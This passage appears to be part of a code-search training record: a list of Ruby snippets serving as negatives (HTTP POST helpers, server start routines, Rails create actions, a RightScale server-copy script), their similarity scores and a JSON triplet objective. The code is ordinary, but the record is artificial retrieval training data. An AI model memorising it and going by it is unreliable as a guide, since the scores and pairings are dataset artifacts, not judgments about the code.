answer_worker.start(client)\n rescue Interrupt => e\n @logger.debug { \"Closing program\" }\n exit\n rescue Exception => e\n @logger.debug { \"Exception caught:\" }\n @logger.debug { e }\n end\n end\n stop\n end", "def send\n post_params = {}\n self.parameters.each { |key, value|\n if value.is_a? Array\n i = 0\n value.each { |value_value|\n post_params[key.to_s + '[' + i.to_s + ']'] = value_value.to_s\n i += 1\n }\n elsif value.is_a? Hash\n value.each { |value_key, value_value|\n post_params[key.to_s + '[' + value_key.to_s + ']'] = value_value.to_s\n }\n else\n post_params[key.to_s] = value.to_s\n end\n }\n\n url = URI.parse(@@API_URL)\n http_request = Net::HTTP::Post.new(url.path)\n http_request.form_data = post_params\n http_request.basic_auth url.user, url.password if url.user\n\n response = Spree::PAYONE::Proxy::Response.new\n connection = Net::HTTP.new(url.host, url.port)\n load_ca_file connection\n connection.use_ssl = true\n connection.start { |http|\n http_response = http.request(http_request)\n response.response_body= http_response.body\n }\n\n response\n end", "def run\n require 'client'\n\n begin\n client = Client.new params[:address].value, params[:port].value\n puts \"Connected to Chain Reactor server, version #{client.version}\"\n data_input = params[:data].value\n\n if data_input\n client.send(data_input.gets.strip)\n else\n client.send_as_json(get_hash_from_stdin)\n client.close()\n end\n exit_status exit_success\n rescue ClientError => e\n STDERR.puts e.message\n exit_status exit_failure\n rescue SystemExit, Interrupt\n STDERR.puts \"Caught exit signal\" \n exit_status exit_failure\n rescue Exception => e\n STDERR.puts \"An error occured {#{e.class.name}}: #{e.message}\" \n exit_status exit_failure\n end\n end", "def post endpoint, data\n do_request :post, endpoint, data\n end", "def start\n Server.supervise_as :tishadow_server, self, :run_on_connect\n Builder.supervise_as :tishadow_builder, :build_command => @build_command, :verbose => @verbose, :update => @update, :spec => @spec, :app_root => @app_root\n @builder = Celluloid::Actor[:tishadow_builder]\n @server = Celluloid::Actor[:tishadow_server]\n @server.async.start\n end", "def serve\n server_options = {}\n options.each { |k, v| server_options[k.to_sym] = v }\n server_options[:server] = {}\n [:port, :handler, :host].each do |k|\n server_options[:server][k] = server_options.delete(k) if server_options.key?(k)\n end\n\n @project.server.set_options(server_options[:server])\n end", "def create_servers\n # use \"rsc\" tool to get detailed deployment + server view from api 1.6, not supported by right_api_client\n old_deployment = JSON.parse(`rsc -a #{@options[:src]} cm16 show /api/deployments/#{@options[:deployment]} view=full`)\n\n old_deployment['servers'].each do |server|\n @api.account_id = @options[:src]\n name = server['next_instance']['name']\n\n puts \"Creating server: #{name} ...\\n\"\n\n cloud = find_cloud(server['next_instance']['links']['cloud']['href'], name)\n @api.account_id = @options[:src]\n\n ssh_key = choose_ssh_key(cloud)\n @api.account_id = @options[:src]\n\n instance_type = choose_instance_type(cloud)\n old_st_url = server['next_instance']['server_template']['href']\n new_st_url = @server_templates[old_st_url]['new_st_url']\n \n mci = choose_mci(new_st_url)\n @api.account_id = @options[:src]\n\n subnets = choose_subnets(cloud)\n @api.account_id = @options[:src]\n\n security_groups = choose_security_groups(cloud)\n @api.account_id = @options[:src]\n\n inputs_hash = format_inputs(@api.resource(server['next_instance']['href']).show.inputs)\n\n # Create server\n params = {}\n params[:server] = {}\n params[:server][:name] = name\n params[:server][:deployment_href] = @new_deployment\n params[:server][:instance] = {}\n params[:server][:instance][:cloud_href] = cloud\n params[:server][:instance][:server_template_href] = new_st_url\n params[:server][:instance][:ssh_key_href] = ssh_key if ssh_key\n params[:server][:instance][:instance_type_href] = instance_type\n params[:server][:instance][:multi_cloud_image_href] = mci\n params[:server][:instance][:subnet_hrefs] = subnets if subnets\n params[:server][:instance][:security_group_hrefs] = security_groups\n params[:server][:instance][:inputs] = inputs_hash\n @api.account_id = @options[:dst]\n @api.servers.create(params)\n end\nend", "def setup_api_module\n @module_name = @project_name.split('_').map(&:capitalize).join('')\n create_api_module\n config_server\n end", "def raw_post_request raw_params\n json_body = raw_params.to_json\n Rubix.logger.log(Logger::DEBUG, \"SEND: #{json_body}\") if Rubix.logger\n Net::HTTP::Post.new(uri.path).tap do |req|\n req['Content-Type'] = 'application/json-rpc'\n req.body = json_body\n end\n end", "def submit(verb, data)\n start do |connection|\n request = http verb\n request.body = data\n connection.request request\n end\n end", "def post(*args)\n super(*wrap_for_json_api(*args))\n end", "def start_server(options = {})\n\n # Backward compatibility\n if options.is_a? String\n url = options\n port = nil\n logfile = nil\n else\n url = options[:url]\n port = options[:port]\n logfile = options[:logfile]\n end\n\n url = ENV['TALKSHOW_REMOTE_URL'] if ENV['TALKSHOW_REMOTE_URL']\n port = ENV['TALKSHOW_PORT'] if ENV['TALKSHOW_PORT']\n logfile = ENV['TALKSHOW_LOG'] if ENV['TALKSHOW_LOG']\n\n Talkshow::Server.set_port port if port\n Talkshow::Server.set_logfile logfile if logfile\n \n if !url\n @type = :thread\n @question_queue = ::Queue.new\n @answer_queue = ::Queue.new\n @thread = Thread.new do\n Talkshow::Server.question_queue(@question_queue)\n Talkshow::Server.answer_queue(@answer_queue)\n Talkshow::Server.run!\n end\n else\n @type = :remote\n @question_queue = Talkshow::Queue.new(url)\n @answer_queue = Talkshow::Queue.new(url)\n end\n \n end", "def run opts = {}\n boot!\n\n handler = opts.delete(:server)\n (handler && Rack::Handler.const_defined?(handler)) || (handler = HTTP__DEFAULT_SERVER)\n\n port = opts.delete(:port)\n opts[:Port] ||= port || HTTP__DEFAULT_PORT\n\n host = opts.delete(:host) || opts.delete(:bind)\n opts[:Host] = host if host\n\n $stderr.puts \"\\n--- Starting Espresso for %s on %s port backed by %s server ---\\n\\n\" % [\n environment, opts[:Port], handler\n ]\n Rack::Handler.const_get(handler).run app, opts do |server|\n %w[INT TERM].each do |sig|\n Signal.trap(sig) do\n $stderr.puts \"\\n--- Stopping Espresso... ---\\n\\n\"\n server.respond_to?(:stop!) ? server.stop! : server.stop\n end\n end\n server.threaded = opts[:threaded] if server.respond_to? :threaded=\n yield server if block_given?\n end\n end", "def create\n @server = Server.new(server_params)\n\n respond_to do |format|\n if @server.save\n format.html { redirect_to @server, notice: 'Server was successfully created.' }\n format.json { render :show, status: :created, location: @server }\n else\n format.html { render :new }\n format.json { render json: @server.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @server = Server.new(params[:server])\n\n respond_to do |format|\n if @server.save\n format.html { redirect_to @server, notice: 'Server was successfully created.' }\n format.json { render json: @server, status: :created, location: @server }\n else\n format.html { render action: \"new\" }\n format.json { render json: @server.errors, status: :unprocessable_entity }\n end\n end\n end", "def http_post_request\n begin\n return http_client.post(http_path_query, compressed_request, http_headers)\n rescue APIKeyError\n log 'error - you must set your api_key.'\n rescue TimeoutError\n log 'fail - timeout while contacting the api server.'\n rescue Exception => e\n log \"fail - exception raised during http post. (#{e.class.name}: #{e.message})\"\n end\n nil\n end", "def call(subject, method, body = {}, extra_headers = {})\n uri = URI(\"#{@api_server}#{subject}/#{method}\")\n conn_opts = connection_opts.merge(use_ssl: uri.scheme == \"https\")\n\n Net::HTTP.start(uri.host, uri.port, conn_opts) do |http|\n handle_response(http.post(uri.path, body.to_json, headers.merge(extra_headers)))\n end\n end", "def post_init\n Batsd.logger.debug \"batsd server ready and waiting on #{Batsd::Server.config[:port]} to ship data upon request\\n\"\n @redis = Batsd::Redis.new(Batsd::Server.config)\n @diskstore = Batsd::Diskstore.new(Batsd::Server.config[:root])\n @retentions = Batsd::Server.config[:retentions]\n end", "def start_server\n if @task.said_yes?(\"Would you like to start #{@name} server?\")\n action = Marv::Server::Actions.new(@server)\n action.start(false)\n end\n end", "def submit_order()\n\tputs \"Submitting order\"\n\tdata = create_order()\n\tresponse = request_post(\"/api/order\", data)\n\tputs response.body\nend" ]
[ "0.6209023", "0.5988249", "0.5955258", "0.59408844", "0.57800984", "0.57246405", "0.5661725", "0.5651595", "0.5540543", "0.5540126", "0.55316967", "0.5490168", "0.5456818", "0.5414596", "0.5413823", "0.5400585", "0.53938323", "0.5378367", "0.53769135", "0.5370635", "0.533978", "0.53221375", "0.53161454", "0.5307358", "0.5307358", "0.5307358", "0.5307358", "0.5307358", "0.5307358", "0.5307358", "0.5307358", "0.5306019", "0.53001535", "0.5295812", "0.52943856", "0.5261467", "0.52506554", "0.5240658", "0.5227734", "0.52069217", "0.5206593", "0.5193018", "0.518738", "0.5177719", "0.51753813", "0.5165529", "0.51622933", "0.5154127", "0.5148052", "0.51438594", "0.51401013", "0.5129566", "0.51182836", "0.51123595", "0.51102114", "0.5099065", "0.5090645", "0.5087039", "0.5086692", "0.5078986", "0.5074335", "0.50682706", "0.5066885", "0.5059341", "0.5057636", "0.5054353", "0.5044489", "0.503932", "0.50367457", "0.50264955", "0.50220567", "0.50117654", "0.5007395", "0.5006488", "0.5003255", "0.49964908", "0.49925733", "0.49727637", "0.49606422", "0.49585465", "0.49535644", "0.49497822", "0.49487457", "0.49485806", "0.4946427", "0.49443254", "0.49436414", "0.4942971", "0.49283323", "0.49183482", "0.49168494", "0.49097216", "0.49084213", "0.49016917", "0.48933056", "0.48848465", "0.48843628", "0.48821557", "0.48766", "0.4873967" ]
0.5787154
4
from lesson: all_odd = [1,3].all? do |number| number.odd? Will evaluate to true for 1, true for 3 end => true all_odd
def draw?(board) #must be true for a draw, false for in progress,<<so use full? then && so that both sides must evauluate true and since it must be false for a won game >> !won? full?(board) && !won?(board) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def all_odd?(array)\n\t\n\tif array.all? {|i| i % 2 != 0} \n\t puts \"true\"\n else\n \tputs \"false\"\n end\nend", "def any_is_odd?(arr)\n arr.each do |el|\n return true if el.odd?\n end\n\n false\nend", "def some_odd(numbers)\n # Your code goes here\n return numbers.any? {|a| a % 2 == 1}\n end", "def checkAllEven(arr)\n return arr.all?{|num| num.even?}\nend", "def all_numbers_even?(nums)\n nums.all? { |num| num.even? }\nend", "def all_numbers_even?(nums)\n nums.all? { |num| num.even? }\nend", "def all_numbers_even?(nums)\n nums.each do |num|\n return false if num % 2 != 0\n end\n\n true\nend", "def q13\n numbers = [1, 2, 3, 4, 5]\n\n p numbers.select(&:odd?)\nend", "def all_numbers_even?(nums)\n nums.all { |num| num.even? }\n end", "def all_odd?(row, col); (row % 2 == 1) && (col % 2 == 1) end", "def every_even(numbers)\n return numbers.all? {|a| a % 2 == 0}\n end", "def is_odd?(num)\n num.odd?\nend", "def is_odd?(num)\n num.odd?\nend", "def all_numbers_even?(nums)\n nums.each do |num|\n return false if num % 2 != 0\n end\n\n true\n end", "def odd_even_true_false(array)\neven = true\narray.each do |i|\n if i.even?\n even = false\n end\nend\nputs even\nend", "def is_odd(n)\n n % 1 == 0 && n.to_i.odd?\nend", "def is_odd?(n)\n n % 2 == 1\nend", "def is_odd?(number)\n number % 2 != 0\nend", "def is_odd? number\n number % 2 == 1\nend", "def is_odd?(num)\n num % 2 != 0\nend", "def is_odd?(num)\n num % 2 != 0\nend", "def odd_or_even(array)\n sum = 0\n array.each { |x| sum += x}\n if sum.even? == true\n p \"even\"\n else\n p \"odd\"\n end\nend", "def is_odd?(number)\n number % 2 == 1\nend", "def is_even(n)\n !n.odd?\nend", "def is_odd?(num)\n num % 2 == 1\nend", "def is_odd?(num)\n num % 2 == 1\nend", "def is_odd?(num)\n num % 2 == 1\nend", "def is_odd?(num)\n num % 2 == 1\nend", "def is_odd?(num)\n num % 2 == 1\nend", "def is_odd?(number)\n number.to_i.odd?\nend", "def is_odd?(n)\n n.abs % 2 != 0\nend", "def is_odd?(number)\n number % 2 == 1 # returned due to being last line in method + returns boolean due to operator\nend", "def is_odd?(int)\n int.odd?\nend", "def is_odd(number)\n return true if number % 2 != 0\n return false if number % 2 == 0\nend", "def still_odd?(num)\n num.remainder(2).abs == 1\nend", "def is_odd?(num)\r\n num % 2 == 1\r\nend", "def is_odd(x)\n # Use the logical results provided to you by Ruby already..\n x % 2 != 0\nend", "def is_odd?(num)\n return num.abs % 2 == 1 ? true : false\nend", "def is_odd?(num)\n # could use the built-in Integer#odd? method but building my own for practice\n num.abs % 2 == 1\nend", "def is_odd?(number)\n number.abs % 2 != 0 && number != 0\nend", "def is_odd?(integer)\n integer % 2 == 1\nend", "def is_odd?(integer)\n integer % 2 == 1\nend", "def is_odd?(integer)\n integer % 2 == 1\nend", "def is_odd?(integer)\n integer % 2 != 0\nend", "def all_the_odds_each\n numbers = [1,2,3,4,5]\n odds = [] #code-smell: when you look at this... you know there's a better way of doing it...\n\n numbers.each do |number| #each will always return everything in the array\n if number.odd? \n odds << number \n end\n end\n odds\nend", "def is_odd?(num)\n num.abs % 2 != 0\nend", "def is_odd?(integer)\n integer % 2 == 0 ? false : true\nend", "def test_odd?\n assert_equal(false, @main.odd?(0))\n assert_equal(true, @main.odd?(1))\n assert_equal(false, @main.odd?(2))\n assert_equal(true, @main.odd?(-1)) \n assert_equal(false, @main.odd?(-2))\n end", "def is_odd?(number)\n number.abs % 2 != 0\nend", "def is_odd?(number)\n number.abs % 2 != 0\nend", "def odd?\n odd\n end", "def odd?\n !even?\n end", "def is_odd(number)\n if number%2 > 0\n return true\n end\n return false\nend", "def is_odd?(num)\n num.abs.to_i % 2 != 0 && num.to_i == num\nend", "def divisible_by_teens(i)\r\n\r\nnumbers = [20, 19, 18, 17, 16, 15, 14, 13, 12, 11]\r\n\r\nif numbers.all? { |n| i % n == 0 }\r\n return true\r\nelse\r\n return false\r\nend\r\n\r\nend", "def is_odd(x)\n x % 2 == 0 ? false : true\nend", "def is_odd?(int)\n int % 2 == 1\nend", "def odd?\n return !even?\n end", "def oddies(numerals, odd = true)\n odd ? numerals.select { |item| numerals.index(item).even? } : arr.select { |item| numerals.index(item).odd? } \nend", "def is_odd(num)\n return num % 2 == 1\nend", "def is_odd(number)\n if number % 2 == 0\n return false\n end\n return true\nend", "def is_odd(num)\n return true if num % 2 != 0\n return false\nend", "def is_odd(tal)\n if tal % 2 != 0\n return true\n else\n return false\n end\nend", "def each_odd num\n \tnum.select {|x| x % 2 != 0} \n end", "def check_max_one_odd(table)\n found_odd = false\n\n table.each do |count|\n if count % 2 == 1\n return false if found_odd\n end\n\n found_odd = true\n end\n\n true\nend", "def is_odd(number)\n if number % 2== 1\n return true\n else \n return false\n end \nend", "def is_odd?(input)\n input % 2 != 0 # => true\nend", "def odd_number?(number)\n number % 2 == 1\nend", "def another_example_of_even_odd(array)\n arr_evens = []\n arr_odds = []\n\n array.each { |num| num.even? ? arr_evens << num : arr_odds << num }\n p arr_evens \n p arr_odds\nend", "def is_odd(num)\n return ((num % 2) != 0)\nend", "def is_odd?(num)\n num.remainder(2).abs == 1\nend", "def odd?(number)\n if number % 2 == 0\n false\n else \n true\n end\nend", "def is_odd(number)\n\tif(number%2 != 0)\n\t\treturn true\n\telse\n\t\treturn false\n\tend\nend", "def is_also_odd?(param_integer)\n param_integer % 2 > 0\nend", "def is_odd?(num)\n num.remainder(2) == 1 || num.remainder(2) == -1\nend", "def is_odd?(int)\n int.abs % 2 == 1\nend", "def is_odd(num)\n if num % 2 == 0\n return false\n else\n return true\n end\nend", "def is_odd?(number)\n puts \"Is number #{number} an odd number?:\"\n number % 2 == 0 ? false : true\n\nend", "def is_odd?(num)\n num.remainder(2) != 0\nend", "def is_odd?(num)\n num.remainder(2) != 0\nend", "def is_odd?(num)\n num.remainder(2) != 0\nend", "def is_odd?(integer)\n\tinteger.abs % 2 == 1\n\t\nend", "def is_other_odd?(n)\n n.abs.remainder(2) == 1\nend", "def is_odd(num)\n output = false\n if num % 2 != 0\n output = true\n end\n return output\nend", "def is_odd?(int)\n (int % 2).abs != 0\nend", "def is_odd?(number)\n number.abs.remainder(2) == 1\nend", "def is_odd(number)\n output = false\n if (number % 2) != 0\n output = true\n end\n return output\nend", "def is_odd?(num)\n # return false if num.zero?\n # num *= -1 if num < 0\n !(num % 2).zero?\n # !(num.remainder(2).zero?)\nend", "def return_odd(input)\n input.select do |i|\n i.odd?\n end\nend", "def is_odd?(number)\n number.remainder(2).abs > 0\nend", "def is_odd?(number)\n number.remainder(2) != 0\nend", "def only_odd?\n return true unless @options[:odd]\n bad?(even_valid_value_for_test, default_message_for(:odd))\n end", "def three_even?(list)\n (list.size-2).times do |n| #changed list.each to list.size-2 to grab three numbers in the code \n if list[n]%2==0 && list[n+1]%2==0 && list[n+1]%2==0 #this checks if the three number next to each other are even\n return true\n end \n end \n return false #if the program doesn't return true by the time it reaches this line of code, a false is returned\nend", "def is_odd?(num)\n # num.abs % 2 != 0 \n num % 2 == 1\n # ruby modulus operator always return non-negative result if num on right is positive\n # ie, % is a modulus operator and \"not a remainder operator as in some languages\"\n # my first line was correct, but more properly per the proposed problem\n # check if odd, do not check if not even\nend", "def select_every_odd(arr)\n arr.select.each_with_index { |el,idx| if idx % 2 === 1 then true end}\nend", "def valid_series?(nums)\n return false if nums.sum != 47\n #binding.pry\n odd_count = nums.count { |n| n.odd? }\n odd_count == 3 ? true : false\nend", "def is_odd?(num)\n num = num * -1 if num < 0 # get absolute value\n num.remainder(2) == 1 ? true: false\nend", "def number_check\n nums = [0, 1, 2, 3, 4, 5, 6 , 7, 8, 9, 10, 11, 12, 13, 14, 15]\n nums.each do |i|\n if i % 2 == 0\n puts \"#{i} even\"\n else\n puts \"#{i} odd\"\n end\n end\n end", "def is_odd?(int) \n if int % 2 == 0\n return false\n else return true\n end\nend", "def is_it_odd?(int)\n int.abs % 2 != 0\nend", "def is_odd2?(num)\n num.abs % 2 == 1\nend" ]
[ "0.83679456", "0.80103326", "0.7931707", "0.77038246", "0.76762354", "0.7669432", "0.7577311", "0.7560292", "0.7558668", "0.7505849", "0.74830496", "0.7465547", "0.7465547", "0.7382132", "0.7339305", "0.7312849", "0.73062766", "0.72450924", "0.72391224", "0.72303945", "0.72303945", "0.72221756", "0.7219235", "0.71981925", "0.71939564", "0.71939564", "0.71939564", "0.71939564", "0.71939564", "0.71866983", "0.7185992", "0.7182881", "0.71796143", "0.71649134", "0.714851", "0.7147914", "0.7136289", "0.71288264", "0.7124011", "0.71045154", "0.70938635", "0.70938635", "0.70938635", "0.7093624", "0.70871305", "0.70864534", "0.70800287", "0.70549166", "0.7041057", "0.7041057", "0.70392835", "0.70324343", "0.70281434", "0.70245606", "0.70218897", "0.70181775", "0.7014729", "0.7009775", "0.70042044", "0.6998966", "0.69980025", "0.6990257", "0.69822466", "0.6973102", "0.6972683", "0.69439906", "0.69422793", "0.69374484", "0.692626", "0.69148093", "0.69061667", "0.69038254", "0.69000614", "0.6899277", "0.68892246", "0.68891", "0.68817985", "0.6873128", "0.6869309", "0.6869309", "0.6869309", "0.68620676", "0.68540275", "0.683746", "0.68295777", "0.682941", "0.68239766", "0.6821583", "0.68205065", "0.6819892", "0.6811112", "0.6798492", "0.67922634", "0.6791639", "0.6780979", "0.6777122", "0.6771626", "0.6770585", "0.6762218", "0.6760566", "0.6745954" ]
0.0
-1
This is needed to be able to pass arbitrary arguments to Log4r outputters. Missing methods / bad arguments are caught in the ObjectBuilderparse method.
def method_missing(name, value=nil) if value.nil? result.send(name.to_sym) else @args[name.to_sym] = value end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def format_arguments=(_arg0); end", "def logger=(_arg0); end", "def logger=(_arg0); end", "def logger=(_arg0); end", "def logger=(_arg0); end", "def logger=(_arg0); end", "def logger=(_arg0); end", "def logger=(_arg0); end", "def format_arguments; end", "def log _args\n \"log _args;\" \n end", "def log(*args); end", "def __ext_log(*args, leader: nil, tag: nil, separator: nil, **opt)\n meth = args.first.is_a?(Symbol) ? args.shift : calling_method&.to_sym\n meth = 'NEW' if meth == :initialize\n ldr = leader || __ext_log_leader\n tag = tag || __ext_log_tag\n sep = separator || EXT_LOG_SEPARATOR\n\n args += Array.wrap(yield) if block_given?\n if opt.present?\n opt = args.pop.merge(opt) if args.last.is_a?(Hash)\n args << opt\n end\n\n part = []\n part << [ldr, tag].compact.join(' ')\n part << meth\n args.each do |a|\n case a\n when Hash then part += a.map { |k, v| \"#{k} = #{v.inspect}\" }\n when Exception then part << \"#{a.class} - #{a.message.inspect}\"\n when Float then part << time_span(a)\n else part << a\n end\n end\n Log.debug { part.compact.join(sep) }\n\n rescue => error\n __debug_exception(\"#{__ext_class} #{__method__}\", error)\n raise error\n end", "def logger(**opts); end", "def extra_args; end", "def log=(_arg0); end", "def log=(_arg0); end", "def log=(_arg0); end", "def log(*args)\nend", "def debugLog _args\n \"debugLog _args;\" \n end", "def log(*_args)\n end", "def inflamed _args\n \"inflamed _args;\" \n end", "def log(arg1, arg2, *rest); end", "def arguments; end", "def arguments; end", "def arguments; end", "def log_formatter=(_arg0); end", "def log_formatter=(_arg0); end", "def arguments=(_arg0); end", "def transformed_argname; end", "def log_dispatch(method, args=[])\n\t\t\tmeth_str = self.class.to_s + \"#\" + method.to_s\n\t\t\tmeth_str += \" #{args.inspect}\" unless args.empty?\n\t\t\tlog \"Dispatching to: #{meth_str}\"\n\t\tend", "def method_missing(*args)\n # p args\n end", "def debug=(_arg0); end", "def debug=(_arg0); end", "def method_missing name, *args\n logger.send(name, args)\n end", "def my_method4(**args)\r\n p args\r\nend", "def parse(arguments)\n super\n\n level = :info\n level = :debug if debug?\n level = :error if quiet?\n Kubetruth::Logging.setup_logging(level: level, color: color?)\n end", "def deco_args; end", "def method_missing(method_symbol, *args)\n init() unless @logger\n if args.length > 0\n @logger.send(method_symbol, *args)\n else\n @logger.send(method_symbol)\n end\n end", "def args(*) end", "def debug(*args); end", "def debug(*args); end", "def debug(*args); end", "def formatter=(_arg0); end", "def formatter=(_arg0); end", "def formatter=(_arg0); end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def args; end", "def method_missing(method, *args)\n \"#{method.to_s} not a valid formatter!\"\n end", "def method_missing(name, *args)\n if @logger && @logger.respond_to?(name)\n @logger.send(name, *args)\n end\n end", "def on_method_add_arg(call, args)\n call_name = call && call[0]\n first_arg = args && :args == args[0] && args[1]\n\n if :call == call_name && first_arg\n if args.length == 2\n # augment call if a single argument was used\n call = call.dup\n call[3] = args[1]\n end\n call\n elsif :fcall == call_name && first_arg\n name, line = call[1]\n case name\n when \"alias_method\"\n [:alias, args[1][0], args[2][0], line] if args[1] && args[2]\n when \"define_method\"\n [:def, args[1][0], line]\n when \"public_class_method\", \"private_class_method\", \"private\", \"public\", \"protected\"\n access = name.sub(\"_class_method\", \"\")\n\n if args[1][1] == 'self'\n klass = 'self'\n method_name = args[1][2]\n else\n klass = nil\n method_name = args[1][1]\n end\n\n [:def_with_access, klass, method_name, access, line]\n when \"scope\", \"named_scope\"\n [:rails_def, :scope, args[1][0], line]\n when /^attr_(accessor|reader|writer)$/\n gen_reader = $1 != 'writer'\n gen_writer = $1 != 'reader'\n args[1..-1].inject([]) do |gen, arg|\n gen << [:def, arg[0], line] if gen_reader\n gen << [:def, \"#{arg[0]}=\", line] if gen_writer\n gen\n end\n when \"has_many\", \"has_and_belongs_to_many\"\n a = args[1][0]\n kind = name.to_sym\n gen = []\n unless a.is_a?(Enumerable) && !a.is_a?(String)\n a = a.to_s\n gen << [:rails_def, kind, a, line]\n gen << [:rails_def, kind, \"#{a}=\", line]\n if (sing = a.chomp('s')) != a\n # poor man's singularize\n gen << [:rails_def, kind, \"#{sing}_ids\", line]\n gen << [:rails_def, kind, \"#{sing}_ids=\", line]\n end\n end\n gen\n when \"belongs_to\", \"has_one\"\n a = args[1][0]\n unless a.is_a?(Enumerable) && !a.is_a?(String)\n kind = name.to_sym\n %W[ #{a} #{a}= build_#{a} create_#{a} create_#{a}! ].inject([]) do |all, ident|\n all << [:rails_def, kind, ident, line]\n end\n end\n end\n else\n # super\n end\n end", "def textLog _args\n \"textLog _args;\" \n end", "def emit_arguments_with_for_check(buffer)\n if for_argument?\n emit_arguments_with_extra_parentheses(buffer)\n else\n emit_arguments(buffer)\n end\n end", "def PO104=(arg)", "def method_missing(m, *a, &b)\n strategy =\n case m.to_s\n when %r/^(.*[^_])_(!)?$/o\n :open_tag\n when %r/^_([^_].*)$/o\n :close_tag\n when 'e'\n :element\n when '__', '___'\n :puts\n else\n nil\n end\n\n if(strategy.nil? or (tagz.nil? and Tagz.privately===self))\n begin\n return super\n ensure\n :do_nothing_until_strange_core_dump_in_ruby_2_5_is_fixed\n # $!.set_backtrace caller(1) if $!\n end\n end\n \n case strategy\n when :open_tag\n m, bang = $1, $2\n b ||= lambda{} if bang\n tagz{ tagz__(m, *a, &b) }\n\n when :close_tag\n m = $1\n tagz{ __tagz(m, *a, &b) }\n\n when :element\n Tagz.element.new(*a, &b)\n\n when :puts\n tagz do\n tagz.push(\"\\n\")\n unless a.empty?\n tagz.push(a.join)\n tagz.push(\"\\n\")\n end\n end\n end\n end", "def my_method3(*arguments)\n print \"Arguments class is \", arguments.class, \"\\n\"\n print \"#{arguments.join(' ')}\", \"\\n\" \n end", "def method_missing(id, *args)\n flat_args = args.map(&:inspect).map(&:to_s).join ', '\n \"#{name}.#{id}#{flat_args.empty? ? '' : \"(#{flat_args})\"}\"\n end", "def method_missing(name, *args, &block)\n logger.error(\n \"--#{name}-- not implemented but required \\n\" \\\n 'with params: ' \\\n \"#{args.inspect} \\n\" \\\n 'with block: ' \\\n \"#{block.inspect} \\n\" \\\n \"called by: \\n\" \\\n \"#{caller} \\n\"\n )\n nil\n end", "def method_missing( name, *args )\n log(name, args) if @@enabled\n end", "def initialize(**args)\n self.args = args\n self.args.freeze\n\n parse_arguments\n validate_arguments!\n\n end", "def transformed_argname=(_); end", "def format_args(args)\n method = \"format_#{self.argtype}\"\n self.__send__(method, args)\n end", "def format=(_arg0); end", "def format=(_arg0); end", "def format=(_arg0); end", "def format=(_arg0); end", "def set_arguments (args)\n end", "def parse_arguments(args, logger)\n options = OpenStruct.new\n options.api_url = 'http://127.0.0.1:3081'\n logger.level = Logger::INFO\n options.files = []\n\n parser = OptionParser.new do |opts|\n opts.banner = 'Usage: flapjack_configurator [options]'\n\n opts.separator ''\n opts.separator 'Specific options:'\n\n opts.on('-u', '--apiurl URL', String, 'Flapjack API URL') do |url|\n options.api_url = url\n logger.debug(\"API URL set to #{url}\")\n end\n\n opts.on('-v', '--verbosity [level]', Integer, \"Set Verbosity, level corresponds to Ruby logger levels (#{Logger::DEBUG}: debug, #{Logger::FATAL}: fatal)\") do |level|\n if level\n logger.level = level\n else\n logger.level -= 1 if logger.level > 0\n end\n logger.debug('Log level set to #{logger.level}')\n end\n\n opts.on('-f', '--files file1,file2,file3', Array, 'List of YAML config files to load, increasing precidence') do |files|\n options.files += files\n end\n\n opts.on_tail('-h', '--help', 'Show this message') do\n puts opts\n exit\n end\n\n opts.on_tail('--version', 'Show version') do\n puts \"Flapjack Configurator #{Gem.loaded_specs['flapjack_configurator'].version}\"\n exit\n end\n end\n\n parser.parse!(args)\n\n if options.files.length < 1\n logger.fatal('Option --files is required')\n exit\n end\n\n return options\nend", "def process_method_object_options(args, opts)\n opts[:instance] = opts['instance-methods'] if opts.m?\n # TODO: de-hack when we upgrade Slop: https://github.com/injekt/slop/pull/30\n opts.options[:super].force_argument_value opts.options[:super].count if opts.super?\n method_obj = get_method_or_raise(args.empty? ? nil : args.join(\" \"), @method_target, opts.to_hash(true))\n opts.on(:method_object, :default => method_obj)\n end", "def send(method, *args)\n super\n rescue StandardError => e\n args[1].debug \"#{e}\\n #{e.backtrace.first}\" # args[1] is the logger\n end", "def verbose_logging=(_arg0); end", "def make_args(args_hash)\n # The routin should be provided in the inherited class\n end", "def detail_args_for(options); end", "def args=(_arg0); end", "def args=(_arg0); end", "def args=(_arg0); end", "def args=(_arg0); end", "def args=(_arg0); end", "def method_missing(m, *args, &block)\n \tRails.logger.send m, *args, &block\n end", "def debug_output=(arg); end", "def initialize(*args, &block)\n super\n @fields = []\n args_all.each do |arg|\n @fields << arg if arg.include?(':')\n end\n end", "def log_tags=(_arg0); end", "def log_tags=(_arg0); end", "def log_tags=(_arg0); end" ]
[ "0.6171324", "0.6126246", "0.6126246", "0.6126246", "0.6126246", "0.6126246", "0.6126246", "0.6126246", "0.60920024", "0.6089016", "0.59634787", "0.5919662", "0.5895448", "0.5853793", "0.584473", "0.584473", "0.584473", "0.584268", "0.5837847", "0.5786818", "0.5782683", "0.57164", "0.5703633", "0.5703633", "0.5703633", "0.56919986", "0.56919986", "0.5655629", "0.56518084", "0.56475353", "0.5623338", "0.56091386", "0.56091386", "0.55978477", "0.558051", "0.5570639", "0.5559891", "0.5549964", "0.5543552", "0.5535865", "0.5535865", "0.5535865", "0.55218905", "0.55218905", "0.55218905", "0.54875565", "0.54875565", "0.54875565", "0.54875565", "0.54875565", "0.54875565", "0.54875565", "0.54875565", "0.54875565", "0.54875565", "0.54875565", "0.54875565", "0.54875565", "0.54875565", "0.54875565", "0.54875565", "0.54875565", "0.54875565", "0.54875565", "0.54875565", "0.5481652", "0.54593384", "0.545251", "0.5452019", "0.54502124", "0.54499906", "0.542339", "0.53988904", "0.53887457", "0.53781414", "0.53722227", "0.53653646", "0.53613436", "0.53553843", "0.5344153", "0.5344153", "0.5344153", "0.5344153", "0.53421265", "0.5329947", "0.5322944", "0.5321532", "0.53176117", "0.531503", "0.53047466", "0.53043973", "0.53043973", "0.53043973", "0.53043973", "0.53043973", "0.52952784", "0.529464", "0.5294254", "0.52911854", "0.52911854", "0.52911854" ]
0.0
-1
Set up the new logger
def builder_setup @result = Log4r::Logger['Mauve'] || Log4r::Logger.new('Mauve') @default_format = nil @default_level = Log4r::RootLogger.instance.level end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
